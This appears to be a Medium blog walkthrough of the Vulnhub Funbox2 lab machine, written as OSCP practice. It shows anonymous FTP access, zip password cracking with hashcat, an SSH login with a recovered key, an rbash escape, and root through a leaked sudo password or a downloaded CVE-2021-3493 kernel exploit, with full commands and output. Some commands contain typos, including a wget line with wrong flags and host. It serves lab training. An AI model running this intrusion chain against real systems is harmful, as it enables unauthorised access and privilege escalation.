Sitemap
Open in app

Sign in

Medium Logo
Write
Search

Sign in

M.Fida Hussain

M.Fida Hussain

Vulnhub Funbox2 Walkthrough OSCP

M.Fida Hussain
6 min readOct 31, 2026

--

FTP->Crack zip->ssh->hiden file->sudo privilage escalation

Information gathering

  1. Nmap or RustScan
sudo namp -p- 172.16.33.30
rustscan -a 172.33.30
.----. .-. .-. .----..---.  .----. .---.   .--.  .-. .-.
| {}  }| { } |{ {__ {_   _}{ {__  /  ___} / {} \ |  `| |
| .-. \| {_} |.-._} } | |  .-._} }\     }/  /\  \| |\  |
`-' `-'`-----'`----'  `-'  `----'  `---' `-'  `-'`-' `-'
The Modern Day Port Scanner.
________________________________________
: http://discord.skerritt.blog         :
: https://github.com/RustScan/RustScan :
 --------------------------------------
Port scanning: Because every port has a story to tell.
[~] The config file is expected to be at "/home/kali/.rustscan.toml"
[!] File limit is lower than default batch size. Consider upping with --ulimit. May cause harm to sensitive servers
[!] Your file limit is very small, which negatively impacts RustScan's speed. Use the Docker image, or up the Ulimit with '--ulimit 5000'. 
Open 172.16.33.30:21
Open 172.16.33.30:22
Open 172.16.33.30:80
[~] Starting Script(s)
[~] Starting Nmap 7.95 ( https://nmap.org ) at 2025-10-15 04:09 EDT
Initiating Ping Scan at 04:09
Scanning 172.16.33.30 [4 ports]
Completed Ping Scan at 04:09, 0.10s elapsed (1 total hosts)
Initiating Parallel DNS resolution of 1 host. at 04:09
Completed Parallel DNS resolution of 1 host. at 04:09, 4.03s elapsed
DNS resolution of 1 IPs took 4.03s. Mode: Async [#: 1, OK: 0, NX: 1, DR: 0, SF: 0, TR: 2, CN: 0]
Initiating SYN Stealth Scan at 04:09
Scanning 172.16.33.30 [3 ports]
Discovered open port 80/tcp on 172.16.33.30
Discovered open port 21/tcp on 172.16.33.30
Discovered open port 22/tcp on 172.16.33.30
Completed SYN Stealth Scan at 04:09, 0.07s elapsed (3 total ports)
Nmap scan report for 172.16.33.30
Host is up, received echo-reply ttl 63 (0.055s latency).
Scanned at 2025-10-15 04:09:57 EDT for 0sPORT   STATE SERVICE REASON
21/tcp open  ftp     syn-ack ttl 63
22/tcp open  ssh     syn-ack ttl 63
80/tcp open  http    syn-ack ttl 63Read data files from: /usr/share/nmap
Nmap done: 1 IP address (1 host up) scanned in 4.33 seconds
           Raw packets sent: 7 (284B) | Rcvd: 4 (160B)

2. Focus on ports 21, 22, 80. Find ftp unauthorised.

# Nmap 7.95 scan initiated Tue Oct 14 20:35:48 2025 as: /usr/lib/nmap/nmap -p 21,22,80 -A -o nmap 172.16.33.30
Nmap scan report for 172.16.33.30
Host is up (0.063s latency).
PORT   STATE SERVICE VERSION
21/tcp open  ftp     ProFTPD 1.3.5e
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
| -rw-rw-r--   1 ftp      ftp          1477 Jul 25  2020 anna.zip
| -rw-rw-r--   1 ftp      ftp          1477 Jul 25  2020 ariel.zip
| -rw-rw-r--   1 ftp      ftp          1477 Jul 25  2020 bud.zip
| -rw-rw-r--   1 ftp      ftp          1477 Jul 25  2020 cathrine.zip
| -rw-rw-r--   1 ftp      ftp          1477 Jul 25  2020 homer.zip
| -rw-rw-r--   1 ftp      ftp          1477 Jul 25  2020 jessica.zip
| -rw-rw-r--   1 ftp      ftp          1477 Jul 25  2020 john.zip
| -rw-rw-r--   1 ftp      ftp          1477 Jul 25  2020 marge.zip
| -rw-rw-r--   1 ftp      ftp          1477 Jul 25  2020 miriam.zip
| -r--r--r--   1 ftp      ftp          1477 Jul 25  2020 tom.zip
| -rw-r--r--   1 ftp      ftp           170 Jan 10  2018 welcome.msg
|_-rw-rw-r--   1 ftp      ftp          1477 Jul 25  2020 zlatan.zip
22/tcp open  ssh     OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 f9:46:7d:fe:0c:4d:a9:7e:2d:77:74:0f:a2:51:72:51 (RSA)
|   256 15:00:46:67:80:9b:40:12:3a:0c:66:07:db:1d:18:47 (ECDSA)
|_  256 75:ba:66:95:bb:0f:16:de:7e:7e:a1:7b:27:3b:b0:58 (ED25519)
80/tcp open  http    Apache httpd 2.4.29 ((Ubuntu))
|_http-server-header: Apache/2.4.29 (Ubuntu)
|_http-title: Apache2 Ubuntu Default Page: It works
| http-robots.txt: 1 disallowed entry 
|_/logs/
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Device type: general purpose|router
Running: Linux 4.X|5.X, MikroTik RouterOS 7.X
OS CPE: cpe:/o:linux:linux_kernel:4 cpe:/o:linux:linux_kernel:5 cpe:/o:mikrotik:routeros:7 cpe:/o:linux:linux_kernel:5.6.3
OS details: Linux 4.15 - 5.19, MikroTik RouterOS 7.2 - 7.5 (Linux 5.6.3)
Network Distance: 2 hops
Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernelTRACEROUTE (using port 22/tcp)
HOP RTT      ADDRESS
1   85.51 ms 10.8.0.1
2   89.28 ms 172.16.33.30OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Tue Oct 14 20:36:00 2025 -- 1 IP address (1 host up) scanned in 11.23 seconds

3. login ftp

ftp 172.16.33.30
Connected to 172.16.33.30.
220 ProFTPD 1.3.5e Server (Debian) [::ffff:172.16.33.30]
Name (172.16.33.30:kali): anonymous
331 Anonymous login ok, send your complete email address as your password
Password: 
230-Welcome, archive user anonymous@_gateway !
230-
230-The local time is: Mon Dec 05 23:29:40 2022
230-
230-This is an experimental FTP server.  If you have any unusual problems,
230-please report them via e-mail to <root@funbox2>.
230-
230 Anonymous access granted, restrictions apply
Remote system type is UNIX.
Using binary mode to transfer files.
ftp>

4. Activate binary mode to transfer files; sometimes requires activating passive mode.

ftp> binary
200 Type set to I
ftp> ls -la
229 Entering Extended Passive Mode (|||5959|)
150 Opening ASCII mode data connection for file list
drwxr-xr-x   2 ftp      ftp          4096 Jul 25  2020 .
drwxr-xr-x   2 ftp      ftp          4096 Jul 25  2020 ..
-rw-r--r--   1 ftp      ftp           153 Jul 25  2020 .@admins
-rw-rw-r--   1 ftp      ftp          1477 Jul 25  2020 anna.zip
-rw-rw-r--   1 ftp      ftp          1477 Jul 25  2020 ariel.zip
-rw-rw-r--   1 ftp      ftp          1477 Jul 25  2020 bud.zip
-rw-rw-r--   1 ftp      ftp          1477 Jul 25  2020 cathrine.zip
-rw-rw-r--   1 ftp      ftp          1477 Jul 25  2020 homer.zip
-rw-rw-r--   1 ftp      ftp          1477 Jul 25  2020 jessica.zip
-rw-rw-r--   1 ftp      ftp          1477 Jul 25  2020 john.zip
-rw-rw-r--   1 ftp      ftp          1477 Jul 25  2020 marge.zip
-rw-rw-r--   1 ftp      ftp          1477 Jul 25  2020 miriam.zip
-r--r--r--   1 ftp      ftp          1477 Jul 25  2020 tom.zip
-rw-r--r--   1 ftp      ftp           114 Jul 25  2020 .@users
-rw-r--r--   1 ftp      ftp           170 Jan 10  2018 welcome.msg
-rw-rw-r--   1 ftp      ftp          1477 Jul 25  2020 zlatan.zip
226 Transfer complete
ftp> get tom.zip

5. The file requires a password to unzip it. Export the hash key for further cracking.

zip2john tom.zip >tom.hash

6. Delete all the characters except for the hash key

$pkzip$1*1*2*0*513*68b*39c551e6*0*40*8*513*554b*a9b5be6349270a2cf77e581b345a456eb98e3e205db75184c4a40b1082c7cf3a323c898fd94586f903e8bfe491d5bc3f7de9fb6363cefb8d9a7ee52e8eaa3ddac980970c852d8400146e30ae8003619f1c3338ae8690a560f9d35884bf92eb40704845cfec305e0344ff9a7fff87a35ecbe5ef65143c5478702f43068df59332a9375235b10db66598e84839dcb759c5bb083404571211a22516de88ab538a07e4211771b0bf87f96e8f0e1bed4eed48fabaff7258733821484f3e7231b1586da301d402d34696e2f72e7542bc9b114256cbc8d2fa38267274f4ce8823a8d90b52c5e4c7765d29cb2329b1647eff1e371cacc0f8fc1b5b7c97ab2f9ab30e261cdd0f93550f929b8e6f93abdacb5d38fe4c28da2af8bfe13284b986b2d3b886c0df0384c16d7df1621df33704cfe1a134d8d77b59a574710ded6c7233d8979f5b297887f190b5cd431f91ee494f0d92670d73c40544c89d91699d00cd01c4381811604ab35b67b53fcaa7805f4a612e2dec8cc41c7164f003de638ae85dd2e60a523f4c35d7157051ff90c62435bca03293eabdbff3e7a3412414a94ebd67a04cbeea311fff66ef3fb7aa944717ed9309c2dcb9ba042c4e9e9a46b375f11a997e1239f1750c8deca86cfd190535bac9f5576a05251e272af1b31d9cc406909401584980e4b79a1877b32043efe147522baef492ab2b0e2bc4b2282f06489f5efe9c780bad78dbae5200bf97119f7cf38ae9ed0a5a9b34ad13935389efad41e9ee348ad94ee370d08103d49334d97d8e5b0ba0820e4a2be7ac50e8d77f0d94a07741148bb36142935cc550f98409d4d1ec59fc94ef01bca3c28efa923294f4aed1c2f3d908277f08095ab498c7bb576d1a9f91bda5d414c79674ec66d1b1be5adc2b6a1d8afe98c1b5b62e69d72bcb902084fd7ba94192207088ec3e91c4a2688be9051eb86bd573c900a83fb75b9e62afa5b691efdb8fe62457dfc496804b6aaeff1df9f950452b35ffc20ffa0b9d9c8dde877aa381f0a6b347bab0b8ec4b15d3297fdf50572d82aa26a31c28dc0ea7cfd1ec966f1b43c9e3eae5befa484691990f2c7c802a40da3d2fa9fa23b91efcb8edc8e1a46cb73844729073b14889bd2fa31613293a8cf0185165de85e5dc51e74a0f901607c90c6d38543f670174c716a505017b6ec96e7acf376c2c8152bdb2cd0e01cbdd2883eb7b1ed21e0d2f014f46d7de3510d665ac44d3474316ea4059693c5926e570ad44f8dc17517b14e98375973bc4da912c50817c29d5f5bdcbbad590b48ee91297d73c62ca206ffd04fd4e44485c44595687bde8d4dc32fe84fde69833ab67442a3548ebe6ed7b57ffcb065f5e6d724a58d89a6a5165a48c8a75d5d9808c45ee1dfe888939db3d99b51ef8f65d275a0dd2e5bb3b608121b32e07a984ef3a713b7a3bbb952c6f5f907780c45cb7e9a447873e28f5f7113cebc3b142f232b4ed15f2df2362b4520e2fda8225780147723b0313aa010d8ea870c4f40fd90904d5f5ecb3199b8e65161ca38af20a7c9cae648e797a2df48013efc09099c42ede683da1261cbae695b0fe9bc901485d2fa9f5980f3ef2fa6a734f45b94447aadcb0029e815ae98d3e1d053cdde89a5242c6b8309b51f6a2c20f8535e84e755e82b9ed344c51ed75a804578eaeef4b5913207dc7a35fc8f755cc3cea806e8cfe968f4133eaf5c2851363c2497b4ba027cc40566bfb64f0ef77f8cf3093c13312f3eae32a6160aad96efbbdb9ea677fa6fb08a8ab40d7cad739c213bd7b5a9e6f8df839109371e461e4533a12ea3cb8e02a7a4dab2ad6eaeefbc421fbdd9f725e*$/pkzip$

7. Use hashcat to crack the password

hashcat -m 17220 tom.hash /usr/share/wordlists/rockyou.txt
tom:iubire

8. Unzip the file which provides us with an id_rsa key

upzip tom.zip

Get M.Fida Hussain’s stories in your inbox

Join Medium for free to get updates from this writer.

9. login ssh

ssh -i id_rsa tom@172.16.33.30

Privilege escalation

  1. After logging in, we find out it is rbash
tom@funbox2:~$ echo $$
14585
tom@funbox2:~$ ps -ef | grep 14585
tom      14585 14584  0 23:46 pts/1    00:00:00 -rbash
tom      14599 14585  0 23:51 pts/1    00:00:00 ps -ef
tom      14600 14585  0 23:51 pts/1    00:00:00 grep --color=auto 14585

2. rbash escaping

tom@funbox2:~$ bash -i
tom@funbox2:~$ echo $$
14603
tom@funbox2:~$ ps -ef | grep 14603
tom      14603 14585  0 23:52 pts/1    00:00:00 bash -i
tom      14695 14603  0 23:53 pts/1    00:00:00 ps -ef
tom      14696 14603  0 23:53 pts/1    00:00:00 grep --color=auto 14603

plan1: hidden file

  1. Find the hidden file mysql_history
tom@funbox2:~$ ls -la
-rw------- 1 tom  tom      295 Jul 25  2020 .mysql_history
om@funbox2:~$ cat .mysql_history 
_HiStOrY_V2_
show\040databases;
quit
create\040database\040'support';
create\040database\040support;
use\040support
create\040table\040users;
show\040tables
;
select\040*\040from\040support
;
show\040tables;
select\040*\040from\040support;
insert\040into\040support\040(tom,\040xx11yy22!);
quit

2. Guess this is the user password

tom@funbox2:~$ sudo -l
[sudo] password for tom: 
Matching Defaults entries for tom on funbox2:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
User tom may run the following commands on funbox2:
    (ALL : ALL) ALL

3. sudo to get root and escape rbash to get the flag

tom@funbox2:~$ sudo -s
root@funbox2:~# id
uid=0(root) gid=0(root) groups=0(root)

plan2: View Linux release version

  1. Linux version
cat /etc/*-release
DISTRIB_ID=Ubuntu
DISTRIB_RELEASE=18.04
DISTRIB_CODENAME=bionic
DISTRIB_DESCRIPTION="Ubuntu 18.04.4 LTS"
NAME="Ubuntu"
VERSION="18.04.4 LTS (Bionic Beaver)"
ID=ubuntu
ID_LIKE=debian
PRETTY_NAME="Ubuntu 18.04.4 LTS"
VERSION_ID="18.04"
HOME_URL="https://www.ubuntu.com/"
SUPPORT_URL="https://help.ubuntu.com/"
BUG_REPORT_URL="https://bugs.launchpad.net/ubuntu/"
PRIVACY_POLICY_URL="https://www.ubuntu.com/legal/terms-and-policies/privacy-policy"
VERSION_CODENAME=bionic
UBUNTU_CODENAME=bionic

2. Ubuntu 18.04 https://github.com/briskets/CVE-2021-3493. This link has exp.

gcc -static exploit.c -o exploit

3. Open a portal in Kali and let PenBox download the exp

goshs 80
INFO   [2025-10-15 05:01:10] You are running the newest version (v1.1.1) of goshs 
INFO   [2025-10-15 05:01:10] mDNS service registered as http://kali.local:8000 
INFO   [2025-10-15 05:01:10] Download embedded file at: /example.txt?embedded 
INFO   [2025-10-15 05:01:10] Serving on interface lo bound to 127.0.0.1:8000 
INFO   [2025-10-15 05:01:10] Serving on interface eth0 bound to 192.168.224.138:8000 
INFO   [2025-10-15 05:01:10] Serving on interface tun0 bound to 10.8.0.21:8000 
INFO   [2025-10-15 05:01:10] Serving HTTP from /home/kali/Documents/penbox/172.16.33.30

4. download exp

wget http://172.16.33.30/exploit -o exp

5. run exp

chmod +x exp
./exp
bash-4.4# id
uid=0(root) gid=0(root) groups=0(root),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),108(lxd),1000(tom)
Funbox2
Vulnhub
Cybersecurity
Hacker

--

--

M.Fida Hussain
M.Fida Hussain
1 follower
1 following

Help

Status

About

Careers

Press

Blog

Store

Privacy

Rules

Terms

Text to speech